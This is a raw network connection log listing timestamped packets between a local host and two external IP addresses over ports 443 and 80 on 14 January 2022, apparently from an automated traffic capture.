Jan 14, 2022 04:59:48.383234024 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.383471966 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.383510113 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.383558035 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.383570910 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.383586884 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.383622885 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.383871078 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.383908987 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.383960962 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.383974075 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.383990049 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.384028912 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.388988018 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.389029026 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.389096975 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.389111996 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.389133930 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.389169931 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.389353991 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.389394045 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.389439106 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.389451027 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.389465094 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.389502048 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.389760971 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.389861107 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.390202999 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.390213966 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.390294075 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.409951925 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.409991026 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.410067081 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.410084009 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.410121918 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.410132885 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.410336971 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.410377979 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.410423040 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.410434961 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.410459995 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.410504103 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.410881996 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.410923004 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.410969973 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.410981894 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.411020994 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.411295891 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.411330938 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.411358118 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.411372900 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.411385059 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.411428928 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.411453009 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.411708117 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.411746979 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.411801100 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.411813021 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.412147999 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.412154913 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.412162066 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.412175894 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.412209034 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.412230015 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.412265062 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.412280083 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.412293911 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.412343025 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.412527084 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.412563086 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.412609100 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.412620068 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.412650108 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.412667990 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.412925959 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.412970066 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.413009882 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.413023949 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.413049936 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.413072109 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.416815996 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.416853905 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.416968107 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.416982889 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.416996002 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.417032003 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.417283058 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.417319059 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.417363882 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.417376995 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.417392015 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.417428970 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.417764902 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.417812109 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.417853117 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.417866945 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.417881966 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.417921066 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.435789108 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.435828924 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.435882092 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.435928106 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.476800919 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.476841927 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.476943016 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.478538990 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.478574038 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.478605986 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.478686094 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.478705883 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.478725910 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.478806019 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.478822947 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.478842020 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.478853941 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.478867054 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.478929996 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.478941917 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.478980064 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.478991985 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.479011059 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.479068041 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.479078054 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.479099035 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.479101896 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.479144096 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.479221106 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.479235888 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.479300976 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.479319096 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.479335070 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.479398966 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.513169050 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.513186932 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.513268948 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.515192986 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.515207052 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.515228987 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.515331030 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.515342951 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.515414000 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.515427113 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.515467882 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.515476942 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.515491009 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.515556097 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.515569925 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.515602112 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.515611887 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.515626907 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.515686989 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.515714884 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.515718937 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.515754938 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.515827894 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.515860081 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.611164093 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.611181021 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.611408949 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.614260912 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.614269018 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.614284039 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.614289045 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.614397049 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.614404917 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.614480972 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.614486933 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.614538908 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.614546061 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.614561081 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.614577055 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.614593029 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.614672899 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.614681959 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.614691973 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.614733934 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.614742041 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.614779949 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.614815950 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.684165955 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.684195042 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.684322119 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.686676025 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.686708927 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.686739922 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.686757088 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.686842918 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.686857939 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.686911106 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.686927080 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.687036991 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.687057972 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.687082052 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.687130928 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.687151909 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.687197924 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.687211037 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.687222004 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.687294960 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.687314987 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.756247044 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.756283045 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.756386042 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.758829117 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.758850098 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.758872986 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.758898020 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.758924007 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.759016037 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.759032965 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.759080887 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.759089947 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.759104967 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.759183884 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.759227037 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.759238005 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.759289980 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.759409904 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.880625963 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.880677938 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.880714893 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.880831003 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.880866051 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.891402960 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.891422033 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.891450882 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.891464949 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.891592026 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.891609907 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.891643047 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.891675949 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.891690016 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.891766071 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.891778946 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.891803026 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.891828060 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.891869068 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.891906023 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.991774082 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.991815090 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.991921902 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.994241953 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.994252920 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.994288921 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.994296074 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.994601011 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.994613886 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.994638920 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.994659901 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:48.994762897 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:48.994842052 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:49.046593904 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:49.049551964 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:49.182755947 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:49.182797909 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:49.182859898 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:49.182878971 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:50.517587900 CET	49880	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:50.573869944 CET	80	49880	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:50.576246977 CET	49880	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:50.576308966 CET	49880	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:50.576527119 CET	49880	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:50.632720947 CET	80	49880	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:50.633028984 CET	80	49880	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:50.670826912 CET	80	49880	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:50.672655106 CET	49880	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:50.672789097 CET	49880	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:50.703119040 CET	49881	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:50.729125023 CET	80	49880	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:50.759622097 CET	80	49881	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:50.759807110 CET	49881	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:50.759860992 CET	49881	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:50.759915113 CET	49881	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:50.816378117 CET	80	49881	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:50.855405092 CET	80	49881	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:50.855509043 CET	49881	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:50.855557919 CET	49881	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:50.895463943 CET	49882	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:50.912035942 CET	80	49881	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:50.951510906 CET	80	49882	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:50.951745987 CET	49882	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:50.951777935 CET	49882	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:50.951987028 CET	49882	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:51.008474112 CET	80	49882	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:51.034878969 CET	80	49882	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:51.034980059 CET	49882	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:51.035172939 CET	49882	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:51.065207958 CET	49883	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:51.091278076 CET	80	49882	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:51.121695042 CET	80	49883	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:51.121848106 CET	49883	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:51.122034073 CET	49883	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:51.122056961 CET	49883	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:51.177413940 CET	80	49883	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:51.211380959 CET	80	49883	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:51.212713003 CET	49883	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:51.212863922 CET	49883	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:51.241127968 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.241175890 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.241542101 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.241785049 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.241801977 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.268172979 CET	80	49883	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:51.293162107 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.293282986 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.294776917 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.294801950 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.295260906 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.296015024 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.341866016 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.926141024 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.926186085 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.926244974 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.926320076 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.926366091 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.926393032 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.926405907 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.926487923 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.926502943 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.926527023 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.926578999 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.950309992 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.950361967 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.950439930 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.950486898 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.950508118 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.950716972 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.950789928 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.950840950 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.950855970 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.950870991 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.950911999 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.951189995 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.951229095 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.951283932 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.951298952 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.951314926 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.954591990 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.977021933 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.977072001 CET	443	49884	144.76.136.153	192.168.2.3
